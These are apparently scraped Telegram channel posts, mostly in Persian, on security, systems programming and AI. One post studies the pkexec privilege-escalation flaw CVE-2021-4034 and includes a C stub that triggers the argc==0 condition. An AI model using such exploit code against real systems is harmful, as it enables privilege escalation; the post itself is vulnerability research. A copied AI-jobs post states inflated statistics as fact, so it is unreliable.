PCSG-Attack-Scenario-Rev2.pdf
3.8 MB
Hey Geek Learners!
Imagine if we had a live map showing cyber attacks and what everyone's doing—I'd know exactly what to check first and which tools to grab! It’s like hunting down cyber threats in real-time (KHAFAN stuff, right? 😂). Anyway, I’m thinking of writing down some examples of potential attacks to help younger folks (I'm 60, by the way! 😆) get a better grasp on things. Let’s spark a learning wave—just keep learning
سلام
ببینید، یه فکر به ذهنم رسید،چقدر خوب میشد اگه یه نقشه واقعی از حملات سایبری داشتیم که لحظه به لحظه میدیدیم هر کسی چه کارایی میکنه (مثل یه جور شکار تهدیدات انسانی! 😂) ! اون موقع میفهمیدم که اول باید چی رو چک کنم، کدوم ابزار رو بردارم و چطور تو اون لحظات "KHAFAN" (ترسناک! 😁) عمل کنم!
خب البته همه چیز بستگی به دانش و نقشه هر کسی داره، ولی یه سری چیزای عمومی هست که میشه یاد گرفت.خلاصه اینکه دارم فکر میکنم چندتا مثال از حملات احتمالی بنویسم تا نسل جوانتر (من 60 سالم! 😆) بهتر متوجه بشه چی به چیه.
مثل همیشه امید دارم براتون کمک کننده باشه و از فیدبک هاتون استقبال میکنممم. 🌿
————————————————
📌 Attack Scenario
🔖 #Paper / #English
📑 #PCSGCommunity #SOC #BlueTeam #defence #attack
Imagine if we had a live map showing cyber attacks and what everyone's doing—I'd know exactly what to check first and which tools to grab! It’s like hunting down cyber threats in real-time (KHAFAN stuff, right? 😂). Anyway, I’m thinking of writing down some examples of potential attacks to help younger folks (I'm 60, by the way! 😆) get a better grasp on things. Let’s spark a learning wave—just keep learning
سلام
ببینید، یه فکر به ذهنم رسید،چقدر خوب میشد اگه یه نقشه واقعی از حملات سایبری داشتیم که لحظه به لحظه میدیدیم هر کسی چه کارایی میکنه (مثل یه جور شکار تهدیدات انسانی! 😂) ! اون موقع میفهمیدم که اول باید چی رو چک کنم، کدوم ابزار رو بردارم و چطور تو اون لحظات "KHAFAN" (ترسناک! 😁) عمل کنم!
خب البته همه چیز بستگی به دانش و نقشه هر کسی داره، ولی یه سری چیزای عمومی هست که میشه یاد گرفت.خلاصه اینکه دارم فکر میکنم چندتا مثال از حملات احتمالی بنویسم تا نسل جوانتر (من 60 سالم! 😆) بهتر متوجه بشه چی به چیه.
مثل همیشه امید دارم براتون کمک کننده باشه و از فیدبک هاتون استقبال میکنممم. 🌿
————————————————
📌 Attack Scenario
🔖 #Paper / #English
📑 #PCSGCommunity #SOC #BlueTeam #defence #attack
ما شاهد بزرگترین انتقال ثروت در تاریخ هستیم.
طبق گزارش McKinsey تا سال ۲۰۳۴، agent های هوش مصنوعی:
جایگزین ۸۰۰ میلیون شغل خواهند شد.
و ۱۹.۹ تریلیون دلار به اقتصاد جهانی اضافه میکنند.
شغلهای ۹ صبح تا ۵ عصر در حال انقراضاند.
چطور باید در ۲۰۲۵ آماده این تغییر بزرگ باشیم:
۱ نفر از هر ۷ نفر تاکنون شغل خود را به ایجنت های هوش مصنوعی باختهاند.
• صنایع کامل در عرض یک شب ناپدید میشوند.
• مشاغلی که طی دههها ساخته شدهاند، حالا منسوخ شدهاند.
• بازار کار در آشفتگی کامل است.
عوامل هوش مصنوعی را بهتر بشناسیم و بفهمیم چرا اینقدر قدرتمند هستند:
عوامل هوش مصنوعی فقط ابزارهای خودکارسازی نیستند..
آنها سیستمهای مستقلی هستند که:
• از هر تعامل یاد میگیرند
• تصمیمات پیچیده میگیرند
• بهطور مداوم پیشرفت میکنند
مثل این است که ۱۰۰۰ کارمند متخصص داشته باشید که نه میخوابند و نه شکایت میکنند.
یک agent هوش مصنوعی میتواند:
• ۱۰,۰۰۰ سند حقوقی را در چند ثانیه بخواند
• پاسخهای بینقص را در میلیثانیه تولید کند
• با ۱۰۰ سیستم هوش مصنوعی دیگر هماهنگ شود
• بر اساس دادههای لحظهای تصمیمگیری کند
صاحبان کسبوکار با سرعتی بیسابقه فعالیت خواهند کرد.
مکینزی پیشبینی میکند که هوش مصنوعی ۱۹.۹ تریلیون دلار به اقتصاد جهانی اضافه خواهد کرد.
آنها:
• بدون وقفه ۲۴/۷ کار میکنند
• هرگز یک اشتباه را دوباره تکرار نمیکنند
• ۱۰۰۰ برابر سریعتر از انسان تصمیمگیری می کنند
اما جادوی واقعی زمانی ست که چندین agent با هم کار کنند:
آمازون بهعنوان مثال:
عامل هوش مصنوعی اول میتواند نقش تحلیلگر را بر عهده بگیرد.
عامل دوم میتواند برنامهریزی را مدیریت کند.
عامل سوم میتواند مسئولیت مدیریت کلی را برعهده داشته باشد.
سم آلتمن میگوید در آینده، عوامل هوش مصنوعی کل شرکتها را اداره خواهند کرد.
تا سال ۲۰۳۰، عوامل هوش مصنوعی ۷۰٪ از کارهای اداری را جایگزین خواهند کرد (طبق گزارش مککینزی).
ولی بازماندگان؟
آنها این کارها را متفاوت انجام خواهند داد...
آنها مهارتهایی را یاد گرفتند که مختص انسانهاست:
• تفکر استراتژیک
• ایجاد روابط
• هوش هیجانی
اما حقیقت ناخوشایند اینجاست:
۹۵٪ از نیروی کار برای این تغییر آماده نیستند.
کسانی که زودتر سازگار شوند، موفق خواهند شد. اما آنهایی که این کار را نکنند، به سختی پیش خواهند رفت.
مجمع جهانی اقتصاد میگوید:
تنها ۵٪ از مشاغل بدون تغییر باقی خواهند ماند.
بهترین راه برای آماده شدن:
-یاد بگیرید چگونه از هوش مصنوعی استفاده کنید
-در مهارتهایی که مختص انسانهاست، استاد شوید
-بر توسعه خلاقیت و مهارتهای فکری خود تمرکز کنید
اگر بر ویژگیهایی که فقط انسانها دارند تمرکز کنید، هرگز دچار کمبود نخواهید شد.
این پست از توییتر کپی شده که همه دوستانی ندارند هم بتونم بخونند
طبق گزارش McKinsey تا سال ۲۰۳۴، agent های هوش مصنوعی:
جایگزین ۸۰۰ میلیون شغل خواهند شد.
و ۱۹.۹ تریلیون دلار به اقتصاد جهانی اضافه میکنند.
شغلهای ۹ صبح تا ۵ عصر در حال انقراضاند.
چطور باید در ۲۰۲۵ آماده این تغییر بزرگ باشیم:
۱ نفر از هر ۷ نفر تاکنون شغل خود را به ایجنت های هوش مصنوعی باختهاند.
• صنایع کامل در عرض یک شب ناپدید میشوند.
• مشاغلی که طی دههها ساخته شدهاند، حالا منسوخ شدهاند.
• بازار کار در آشفتگی کامل است.
عوامل هوش مصنوعی را بهتر بشناسیم و بفهمیم چرا اینقدر قدرتمند هستند:
عوامل هوش مصنوعی فقط ابزارهای خودکارسازی نیستند..
آنها سیستمهای مستقلی هستند که:
• از هر تعامل یاد میگیرند
• تصمیمات پیچیده میگیرند
• بهطور مداوم پیشرفت میکنند
مثل این است که ۱۰۰۰ کارمند متخصص داشته باشید که نه میخوابند و نه شکایت میکنند.
یک agent هوش مصنوعی میتواند:
• ۱۰,۰۰۰ سند حقوقی را در چند ثانیه بخواند
• پاسخهای بینقص را در میلیثانیه تولید کند
• با ۱۰۰ سیستم هوش مصنوعی دیگر هماهنگ شود
• بر اساس دادههای لحظهای تصمیمگیری کند
صاحبان کسبوکار با سرعتی بیسابقه فعالیت خواهند کرد.
مکینزی پیشبینی میکند که هوش مصنوعی ۱۹.۹ تریلیون دلار به اقتصاد جهانی اضافه خواهد کرد.
آنها:
• بدون وقفه ۲۴/۷ کار میکنند
• هرگز یک اشتباه را دوباره تکرار نمیکنند
• ۱۰۰۰ برابر سریعتر از انسان تصمیمگیری می کنند
اما جادوی واقعی زمانی ست که چندین agent با هم کار کنند:
آمازون بهعنوان مثال:
عامل هوش مصنوعی اول میتواند نقش تحلیلگر را بر عهده بگیرد.
عامل دوم میتواند برنامهریزی را مدیریت کند.
عامل سوم میتواند مسئولیت مدیریت کلی را برعهده داشته باشد.
سم آلتمن میگوید در آینده، عوامل هوش مصنوعی کل شرکتها را اداره خواهند کرد.
تا سال ۲۰۳۰، عوامل هوش مصنوعی ۷۰٪ از کارهای اداری را جایگزین خواهند کرد (طبق گزارش مککینزی).
ولی بازماندگان؟
آنها این کارها را متفاوت انجام خواهند داد...
آنها مهارتهایی را یاد گرفتند که مختص انسانهاست:
• تفکر استراتژیک
• ایجاد روابط
• هوش هیجانی
اما حقیقت ناخوشایند اینجاست:
۹۵٪ از نیروی کار برای این تغییر آماده نیستند.
کسانی که زودتر سازگار شوند، موفق خواهند شد. اما آنهایی که این کار را نکنند، به سختی پیش خواهند رفت.
مجمع جهانی اقتصاد میگوید:
تنها ۵٪ از مشاغل بدون تغییر باقی خواهند ماند.
بهترین راه برای آماده شدن:
-یاد بگیرید چگونه از هوش مصنوعی استفاده کنید
-در مهارتهایی که مختص انسانهاست، استاد شوید
-بر توسعه خلاقیت و مهارتهای فکری خود تمرکز کنید
اگر بر ویژگیهایی که فقط انسانها دارند تمرکز کنید، هرگز دچار کمبود نخواهید شد.
این پست از توییتر کپی شده که همه دوستانی ندارند هم بتونم بخونند
درود
توی یه شرکتی کار میکردم
برای پیادهسازی قابلیت Virtual IP اومدم پیشنهاد استفاده از Pacemaker رو دادم
مدیرای شرکت ۳ تا داداش بودن و یکیشون که خیلی ادعا داشت سریع اومد با خوشحالی درو باز کرد گفت این Pacemaker نمیدونم ۵۰۰ هزارتاش باگ امنیتی داره و هک شده و نباید استفاده کنید
منم پرام ریخت که مگه میشه؟
بعد که لینکشو برام فرستاد دیدم رفته راجع به Pacemakerای که توی عمل قلب برای ایجاد پالس برای ضربان قلب استفاده میشه تحقیق کرده
توی یه شرکتی کار میکردم
برای پیادهسازی قابلیت Virtual IP اومدم پیشنهاد استفاده از Pacemaker رو دادم
مدیرای شرکت ۳ تا داداش بودن و یکیشون که خیلی ادعا داشت سریع اومد با خوشحالی درو باز کرد گفت این Pacemaker نمیدونم ۵۰۰ هزارتاش باگ امنیتی داره و هک شده و نباید استفاده کنید
منم پرام ریخت که مگه میشه؟
بعد که لینکشو برام فرستاد دیدم رفته راجع به Pacemakerای که توی عمل قلب برای ایجاد پالس برای ضربان قلب استفاده میشه تحقیق کرده
🤣1
اگر بخوام مثال دیگه ای از نوشتن به صورت بلاکینگ بگم این تصویر به خوبی میتونه گویای ماجرا باشه، اینجا من نوشتن بروی I/O سوکت TCP رو مثال میزنم و سیستم کال write() رو توضیح میدم.
خب توی تصویر میبینیم که برای هر اندپوینت سوکتی که از کرنل درخواست باز کردن میکنیم کرنل یک بافر نوشتن و یک بافر خواندن به اون اختصاص میده، و وقتی روی یک سوکت میخواییم عملیات write انجام بدیم کرنل تا زمانی که داده بروی بافر ارسال کپی نشده باشه پروسس برنامه رو بلاک میکنه، این اتفاق حتی وقتی بافر ارسال هم پر باشه میوفته، یعنی فرض کنین ۱۰۲۴ بایت ارسال شده و بطور کامل بروی شبکه نوشته نشده و در همین حین درخواست برای نوشتن ۱۰۲۴ بایت دیگه هم میاد، ولی کرنل پروسس رو تا جایی که این ۱۰۲۴ بایت دوم رو بتونه توی بافر جا براش تخصیص بده بلاک نگه میداره، حالا خالی شدن این بافر به وضعیت شلوغی شبکه و کانفیگ سیستم بستگی داره.
راه حل؟ مدل Nonblocking که بهش میرسیم تو ادامه...
خب توی تصویر میبینیم که برای هر اندپوینت سوکتی که از کرنل درخواست باز کردن میکنیم کرنل یک بافر نوشتن و یک بافر خواندن به اون اختصاص میده، و وقتی روی یک سوکت میخواییم عملیات write انجام بدیم کرنل تا زمانی که داده بروی بافر ارسال کپی نشده باشه پروسس برنامه رو بلاک میکنه، این اتفاق حتی وقتی بافر ارسال هم پر باشه میوفته، یعنی فرض کنین ۱۰۲۴ بایت ارسال شده و بطور کامل بروی شبکه نوشته نشده و در همین حین درخواست برای نوشتن ۱۰۲۴ بایت دیگه هم میاد، ولی کرنل پروسس رو تا جایی که این ۱۰۲۴ بایت دوم رو بتونه توی بافر جا براش تخصیص بده بلاک نگه میداره، حالا خالی شدن این بافر به وضعیت شلوغی شبکه و کانفیگ سیستم بستگی داره.
راه حل؟ مدل Nonblocking که بهش میرسیم تو ادامه...
Media is too big
VIEW IN TELEGRAM
اپدیت پروژهی market data handler:
بخش سوکت، ایونت لوپ و کانکشن منیجیر رو حدودا تموم کردم، الان اینجوریه که هر کور یه ترد داره، هر ترد هم چند تا سوکت، بعد میاییم سیمبل هایی که قراره از بایننس بگیریم رو بهشون ادد میکنیم و منتظر جواب از بایننس میمونیم.
این روش کانتکس سوییچ نداره و با cpu affinity مطمئن میشیم که هر ترد فقط به یک هسته بایند شده.
هنوز هیچ کاری سنگینی که با cpu داشته باشیم نداشتیم و تسکامون تا الان I/O bound بوده، الان هیچ بنچمارکی نمیگیرم و فقط تفریحی یه ویدیو دیگه گرفتم از لاگ سیستم وقتی داره ایونت جم میکنه.
تا اینجا هر ایونت حدودا ۱ میلی ثانیه طول میکشه تا: مموریش الوکیت بشه، بافرش پر بشه و به جیسون تبدیل بشه. بیلدم روی دیباگه و همونطور که گفتم هیچ کاری هنوز برای پرفرومنس انجام ندادم، مرحلهی بعد نوشتن روی یه دیتا استراکچره tree هست که روی مموریه.
سوالی بود بپرسید، بریم ببینیم چی میشه
.
#market_data_handler
بخش سوکت، ایونت لوپ و کانکشن منیجیر رو حدودا تموم کردم، الان اینجوریه که هر کور یه ترد داره، هر ترد هم چند تا سوکت، بعد میاییم سیمبل هایی که قراره از بایننس بگیریم رو بهشون ادد میکنیم و منتظر جواب از بایننس میمونیم.
این روش کانتکس سوییچ نداره و با cpu affinity مطمئن میشیم که هر ترد فقط به یک هسته بایند شده.
هنوز هیچ کاری سنگینی که با cpu داشته باشیم نداشتیم و تسکامون تا الان I/O bound بوده، الان هیچ بنچمارکی نمیگیرم و فقط تفریحی یه ویدیو دیگه گرفتم از لاگ سیستم وقتی داره ایونت جم میکنه.
تا اینجا هر ایونت حدودا ۱ میلی ثانیه طول میکشه تا: مموریش الوکیت بشه، بافرش پر بشه و به جیسون تبدیل بشه. بیلدم روی دیباگه و همونطور که گفتم هیچ کاری هنوز برای پرفرومنس انجام ندادم، مرحلهی بعد نوشتن روی یه دیتا استراکچره tree هست که روی مموریه.
سوالی بود بپرسید، بریم ببینیم چی میشه
.
#market_data_handler
👍1
مقدار صفر برای argc در برنامههای لینوکسی. چرا و چگونه؟
همه چیز از بررسی CVE-2021-4034 و کامپایل مجدد PolKit بر روی Ubuntu 22.04 شروع شد! تصمیم داشتم یک نسخهی آسیبپذیر PolKit رو با فعال کردن Debug Symbols کامپایل کرده و مراحل کامل این CVE رو در GDB بررسی کنم. به صورت خلاصه بگم که این آسیبپذیری در باینری pkexec وجود دارد و به کمک آن میتوان LPE انجام داد. یکی از شرایط استفاده از این آسیبپذیری این است که در زمان اجرای pkexec شرط argc==0 برقرار باشد که از طریق آن متغیرهای محلی خوانده شده و بتوان یک library مخرب را بارگذاری نمود.
از آنجایی که pkexec علاوه بر لینوکس بر روی Solaris, BSD هم قابل استفاده است، در مقالهی اصلی این CVE که توسط Qualys Security منتشر شده است متن زیر مشاهده میشود که از الزام argc==0 برای امکانپذیر بودن این LPE خبر میدهد.
OpenBSD is not exploitable, because its kernel refuses to execve() a program if argc is 0
پس فرض من این بود که در نسخههای اخیر لینوکس هم با کامپایل PolKit باید بتوان این آسیبپذیری را تست کرد. این بود که بر روی Ubuntu 22.04 یک نسخهی آسیبپذیر را کامپایل کرده و یک کد ساده به صورت زیر نوشتم که pkexec را اجرا کرده و argc==0 برقرار باشد.
void main() {
char *args[] = { NULL };
char *envs[] = {"SHELL=/bin/bash", 0};
execve("pkexec", args, envs);
}
با اجرای برنامه و زدن strace مشاهده شد که فراخوانی در سطح user طبق انتظار انجام شد.
execve("pkexec", [], 0x7ffe3883b200 /* 1 var */)
ولی دو تا مورد عجیب رخ داد. اول اینکه برنامه در gdb بر خلاف انتظار با argc==1 اجرا شده و argv[0] که اسم برنامه در آن قرار میگیرد و طبق مدل فراخوانی باید NULL میبود برابر “” شده بود. مورد دومی که عجیب بود پیام زیر در dmesg بود.
process 'exploit' launched 'pkexec' with NULL argv: empty string added
با رسیدن به این مرحله به سراغ Ubuntu 20.04 رفتم و همین کد را بر روی آن اجرا کردم که همه چیز طبق انتظار رخ داده و در gdb با رسیدن به main برنامهی pkexec مقدار argc==0 برقرار بوده و امکان تست CVE وجود داشت. اینجا واضح بود که در کرنلهای جدید لینوکس در فراخوانی سیستمی execve تغییراتی اعمال شده است که جلوی اجرای برنامهها با argc==0 گرفته شود. اینجا دیگه لازم بود کد کرنل چک شود!
با رفتن به github و بررسی فایل fs/exec.c کرنل لینوکس مشاهده شد که در تابع اجرای فراخوانی سیستمی execve کد زیر در March 2022 اضافه شده که جلوی اجرای برنامهها با argc==0 را میگیرد.
/*
* When argv is empty, add an empty string ("") as argv[0] to
* ensure confused userspace programs that start processing
* from argv[1] won't end up walking envp. See also
* bprm_stack_limits().
*/
if (bprm->argc == 0) {
retval = copy_string_kernel("", bprm);
if (retval < 0)
goto out_free;
bprm->argc = 1;
}
پس از این به بعد علاوه بر OpenBSD بر روی لینوکس نیز امکان اجرای آسیبپذیریهای این مدلی وجود نخواهد داشت! :-D
پ.ن: در آینده یک ویدئو از شیوهی کامل اجرای این CVE منتشر میکنم.
#linux #kernel #CVE #PolKit #pkexec #execve
همه چیز از بررسی CVE-2021-4034 و کامپایل مجدد PolKit بر روی Ubuntu 22.04 شروع شد! تصمیم داشتم یک نسخهی آسیبپذیر PolKit رو با فعال کردن Debug Symbols کامپایل کرده و مراحل کامل این CVE رو در GDB بررسی کنم. به صورت خلاصه بگم که این آسیبپذیری در باینری pkexec وجود دارد و به کمک آن میتوان LPE انجام داد. یکی از شرایط استفاده از این آسیبپذیری این است که در زمان اجرای pkexec شرط argc==0 برقرار باشد که از طریق آن متغیرهای محلی خوانده شده و بتوان یک library مخرب را بارگذاری نمود.
از آنجایی که pkexec علاوه بر لینوکس بر روی Solaris, BSD هم قابل استفاده است، در مقالهی اصلی این CVE که توسط Qualys Security منتشر شده است متن زیر مشاهده میشود که از الزام argc==0 برای امکانپذیر بودن این LPE خبر میدهد.
OpenBSD is not exploitable, because its kernel refuses to execve() a program if argc is 0
پس فرض من این بود که در نسخههای اخیر لینوکس هم با کامپایل PolKit باید بتوان این آسیبپذیری را تست کرد. این بود که بر روی Ubuntu 22.04 یک نسخهی آسیبپذیر را کامپایل کرده و یک کد ساده به صورت زیر نوشتم که pkexec را اجرا کرده و argc==0 برقرار باشد.
void main() {
char *args[] = { NULL };
char *envs[] = {"SHELL=/bin/bash", 0};
execve("pkexec", args, envs);
}
با اجرای برنامه و زدن strace مشاهده شد که فراخوانی در سطح user طبق انتظار انجام شد.
execve("pkexec", [], 0x7ffe3883b200 /* 1 var */)
ولی دو تا مورد عجیب رخ داد. اول اینکه برنامه در gdb بر خلاف انتظار با argc==1 اجرا شده و argv[0] که اسم برنامه در آن قرار میگیرد و طبق مدل فراخوانی باید NULL میبود برابر “” شده بود. مورد دومی که عجیب بود پیام زیر در dmesg بود.
process 'exploit' launched 'pkexec' with NULL argv: empty string added
با رسیدن به این مرحله به سراغ Ubuntu 20.04 رفتم و همین کد را بر روی آن اجرا کردم که همه چیز طبق انتظار رخ داده و در gdb با رسیدن به main برنامهی pkexec مقدار argc==0 برقرار بوده و امکان تست CVE وجود داشت. اینجا واضح بود که در کرنلهای جدید لینوکس در فراخوانی سیستمی execve تغییراتی اعمال شده است که جلوی اجرای برنامهها با argc==0 گرفته شود. اینجا دیگه لازم بود کد کرنل چک شود!
با رفتن به github و بررسی فایل fs/exec.c کرنل لینوکس مشاهده شد که در تابع اجرای فراخوانی سیستمی execve کد زیر در March 2022 اضافه شده که جلوی اجرای برنامهها با argc==0 را میگیرد.
/*
* When argv is empty, add an empty string ("") as argv[0] to
* ensure confused userspace programs that start processing
* from argv[1] won't end up walking envp. See also
* bprm_stack_limits().
*/
if (bprm->argc == 0) {
retval = copy_string_kernel("", bprm);
if (retval < 0)
goto out_free;
bprm->argc = 1;
}
پس از این به بعد علاوه بر OpenBSD بر روی لینوکس نیز امکان اجرای آسیبپذیریهای این مدلی وجود نخواهد داشت! :-D
پ.ن: در آینده یک ویدئو از شیوهی کامل اجرای این CVE منتشر میکنم.
#linux #kernel #CVE #PolKit #pkexec #execve
🥴3
"Non-determinism، Nondeterminism، Non Determinism، or Nondet"
بخش اول
—————————————————————
میتونم بگم دو به شکام که جذابترین کانسپتی که در تمام مباحث TCS تا به حال باهاش مواجه بودم، Fairness هستش یا Non-determinism. یکی از نقطه اشتراکات هر دو مبحث برام اینه که از نظر فسلفی آیا حقیقت وجودی دارند و یا صرفا برای پر کردن خلاای در علم توسط بشر ابداع شدند که را حل منطقی و درستی براش وجود نداشته. یه نکته جالب دیگهای که میتونم در موردش بگم اینه که از نظر من Fairness و Non-determinism به شکل Natural در مسائل وجود ندارند ولی از یک جایی که انگار فرای اختیارات ماست به مسائل Enforce میشن. این نوشته قصد داره که به مفهوم دوم بپردازه منتهی قبلش جا داره این هشدار رو بدم که Non-determinism گاهی اوقات از نظر شهودی یک پدیدهی Stochastic تفسیر میشه که خیلی درست نیست برای همین سعی میکنم از ادبیات درستی استفاده کنم در ادامه.
خودم به شخصه اولین جایی که در دوران تحصیل چه به شکل فرمال و چه غیر فرمال با مفهومی به نام Non-determinism مواجه شدم توی درس آتوماتا تئوری بود. مدلهای محاسباتیای که مبتنی بر مفهوم state و transition هستند و براساس همین state و transition هم مفهوم عدم قطعیت به شکل فرمال تعریف میشه. اولین شوک و نکتهی جالبی که باهاش مواجه شدم اینه که مدلهایی که non-determinism دارن، همیشه براشون یک مدل محاسباتی Deterministic وجود نداره و برخی مواقع افزودن Non-determinism به مدل محاسباتی منجر به افزایش Expressiveness این مدل میشه. مثل Büchi Automata.
دومین جایی که با این کانسپت به طور جدی مواجه شدم توی فرمال متد بود. زبانها و مدلهای صوری که برای جنبههای مختلف یک محاسبه ایجاب میشدن هم Non-determinism داشتن. به طور مثال زبان Guarded Command Language آقای دایکسترا که به نظرم پایهگزار زبانهای برنامهنویسی Imperative بود non-determinism داشت. به طوری که مثلا شما میتونید برنامهای بنویسید بدین صورت :
if
[] a > 0 ——> b = false
[] a > 3 ——> b = true
fi
طبق semantics این زبان شما در این دستور if اگر مقدار a از 3 بزرگتر باشه، Guard هر دو command ارضا میشه و یکی از دو دستور به شکل غیرقطعی اجرا میشه.
سومین جایی که این کانسپت رو دیدم توی Concurrency Theory بود. زمانی که ما چند instance از یک مدل محاسباتی یا برنامههایی از یک زبان فرمال داریم مثل P1,P2, ...., Pn که با استفاده از اپراتور parallel composition یک برنامهی جدید رو میسازن :
p1p2 p3... pn
و طبق سمنتیکس این اپراتور، دستورات اتومیک هر Pi با رعایت program order خودش میتونه با هر ترتیب ممکنی با دستورات اتومیک باقی Pj ها interleave بشه. مثلا اگر شما دو تا برنامه داشته باشی مثل :
p1 : R(x) W(x)
p2 : R(y) W(y)
اون وقت برنامهی P1 P2 میتونه در هر اجرا یک trace اجرایی متفاوتی داشته باشه مثل :
R(x) W(x) R(y) W(y)
R(x) R(y) W(x) W(y)
R(x) R(y) W(y) W(x)
R(y) W(y) R(x) W(x)
R(y) R(x) W(y) W(x)
R(y) R(x) W(x) W(y)
اصطلاحا به این ویژگی میگن Scheduling non-determinism که بزرگترین معضلای هست که در verify کردن برنامههای parallel و distributed باهاش دست و پنجه نرم میکنیم.
چهارمین جایی که با این مفهوم مواجه شدم در Verification بود. زمانی که داشتم JMC رو میساختم به این مسئله برخورد کردیم که همیشه در برنامههای concurrent تنها منبع عدم قطعیت Scheduling nondeterminism نیست. به برنامهی زیر توجه کنید :
void foo (int x) {
if( x % 3 == 2) {
// Bug
} else {
print("All is good!");
}
}
در این برنامه یک عدم قطعیتی وجود داره که ما اسمش رو گذاشتیم Data nondeterminism و شد موضوع مقالهای که چند روز پیش سابمیت کردیم. در این برنامه با توجه به مقدار آرگومان x، رفتار برنامه تغییر میکنه. ما اومدم چهار لول data nondeterminism تعریف کریم و براش یک سمنتیکس dpor-based ارائه دادیم. ما نشون دادیم که data non-determinism یک مفهوم orthogonal با scheduling non-determinism نیست و یک الگوریتم مدل چکینگ ارائه دادیم برای برنامههایی مالتی تردی که data non-determinism دارند، مثل concurrent data structures ها، که sound و complete و optimal هستش. علاوه بر اینا و شاید مهم تر از اینا، ما یک Reduction از Scheduling nondeterminism به Data nondeterminism ارائه کردیم که باعث کاهش چشمگیر فضای حالت برنامه میشه. حالا جزئیاتش باشه ایشالا اگر چاپ شد توی کانال بهش میپردازم.
اما ما اولین نفرهایی نبودیم که اومدم کانسپت non-determinism رو سطح بندی کردیم. در ادامه میخوام به چندتا مقاله که به شدت خوب و روون نوشته شدن رو بهتون معرفی کنم که بحث اصلیشون کلاسهبندی Nondeterminism هستش.
بخش اول
—————————————————————
میتونم بگم دو به شکام که جذابترین کانسپتی که در تمام مباحث TCS تا به حال باهاش مواجه بودم، Fairness هستش یا Non-determinism. یکی از نقطه اشتراکات هر دو مبحث برام اینه که از نظر فسلفی آیا حقیقت وجودی دارند و یا صرفا برای پر کردن خلاای در علم توسط بشر ابداع شدند که را حل منطقی و درستی براش وجود نداشته. یه نکته جالب دیگهای که میتونم در موردش بگم اینه که از نظر من Fairness و Non-determinism به شکل Natural در مسائل وجود ندارند ولی از یک جایی که انگار فرای اختیارات ماست به مسائل Enforce میشن. این نوشته قصد داره که به مفهوم دوم بپردازه منتهی قبلش جا داره این هشدار رو بدم که Non-determinism گاهی اوقات از نظر شهودی یک پدیدهی Stochastic تفسیر میشه که خیلی درست نیست برای همین سعی میکنم از ادبیات درستی استفاده کنم در ادامه.
خودم به شخصه اولین جایی که در دوران تحصیل چه به شکل فرمال و چه غیر فرمال با مفهومی به نام Non-determinism مواجه شدم توی درس آتوماتا تئوری بود. مدلهای محاسباتیای که مبتنی بر مفهوم state و transition هستند و براساس همین state و transition هم مفهوم عدم قطعیت به شکل فرمال تعریف میشه. اولین شوک و نکتهی جالبی که باهاش مواجه شدم اینه که مدلهایی که non-determinism دارن، همیشه براشون یک مدل محاسباتی Deterministic وجود نداره و برخی مواقع افزودن Non-determinism به مدل محاسباتی منجر به افزایش Expressiveness این مدل میشه. مثل Büchi Automata.
دومین جایی که با این کانسپت به طور جدی مواجه شدم توی فرمال متد بود. زبانها و مدلهای صوری که برای جنبههای مختلف یک محاسبه ایجاب میشدن هم Non-determinism داشتن. به طور مثال زبان Guarded Command Language آقای دایکسترا که به نظرم پایهگزار زبانهای برنامهنویسی Imperative بود non-determinism داشت. به طوری که مثلا شما میتونید برنامهای بنویسید بدین صورت :
if
[] a > 0 ——> b = false
[] a > 3 ——> b = true
fi
طبق semantics این زبان شما در این دستور if اگر مقدار a از 3 بزرگتر باشه، Guard هر دو command ارضا میشه و یکی از دو دستور به شکل غیرقطعی اجرا میشه.
سومین جایی که این کانسپت رو دیدم توی Concurrency Theory بود. زمانی که ما چند instance از یک مدل محاسباتی یا برنامههایی از یک زبان فرمال داریم مثل P1,P2, ...., Pn که با استفاده از اپراتور parallel composition یک برنامهی جدید رو میسازن :
p1
و طبق سمنتیکس این اپراتور، دستورات اتومیک هر Pi با رعایت program order خودش میتونه با هر ترتیب ممکنی با دستورات اتومیک باقی Pj ها interleave بشه. مثلا اگر شما دو تا برنامه داشته باشی مثل :
p1 : R(x) W(x)
p2 : R(y) W(y)
اون وقت برنامهی P1 P2 میتونه در هر اجرا یک trace اجرایی متفاوتی داشته باشه مثل :
R(x) W(x) R(y) W(y)
R(x) R(y) W(x) W(y)
R(x) R(y) W(y) W(x)
R(y) W(y) R(x) W(x)
R(y) R(x) W(y) W(x)
R(y) R(x) W(x) W(y)
اصطلاحا به این ویژگی میگن Scheduling non-determinism که بزرگترین معضلای هست که در verify کردن برنامههای parallel و distributed باهاش دست و پنجه نرم میکنیم.
چهارمین جایی که با این مفهوم مواجه شدم در Verification بود. زمانی که داشتم JMC رو میساختم به این مسئله برخورد کردیم که همیشه در برنامههای concurrent تنها منبع عدم قطعیت Scheduling nondeterminism نیست. به برنامهی زیر توجه کنید :
void foo (int x) {
if( x % 3 == 2) {
// Bug
} else {
print("All is good!");
}
}
در این برنامه یک عدم قطعیتی وجود داره که ما اسمش رو گذاشتیم Data nondeterminism و شد موضوع مقالهای که چند روز پیش سابمیت کردیم. در این برنامه با توجه به مقدار آرگومان x، رفتار برنامه تغییر میکنه. ما اومدم چهار لول data nondeterminism تعریف کریم و براش یک سمنتیکس dpor-based ارائه دادیم. ما نشون دادیم که data non-determinism یک مفهوم orthogonal با scheduling non-determinism نیست و یک الگوریتم مدل چکینگ ارائه دادیم برای برنامههایی مالتی تردی که data non-determinism دارند، مثل concurrent data structures ها، که sound و complete و optimal هستش. علاوه بر اینا و شاید مهم تر از اینا، ما یک Reduction از Scheduling nondeterminism به Data nondeterminism ارائه کردیم که باعث کاهش چشمگیر فضای حالت برنامه میشه. حالا جزئیاتش باشه ایشالا اگر چاپ شد توی کانال بهش میپردازم.
اما ما اولین نفرهایی نبودیم که اومدم کانسپت non-determinism رو سطح بندی کردیم. در ادامه میخوام به چندتا مقاله که به شدت خوب و روون نوشته شدن رو بهتون معرفی کنم که بحث اصلیشون کلاسهبندی Nondeterminism هستش.
راه جلوگیری از Brute Force به روش ساقی پارک :
اگه پسورد درست هم بود برای بار اول بگین اشتباهه، خود واقعیش باشه دوباره میزنه.
اگه پسورد درست هم بود برای بار اول بگین اشتباهه، خود واقعیش باشه دوباره میزنه.
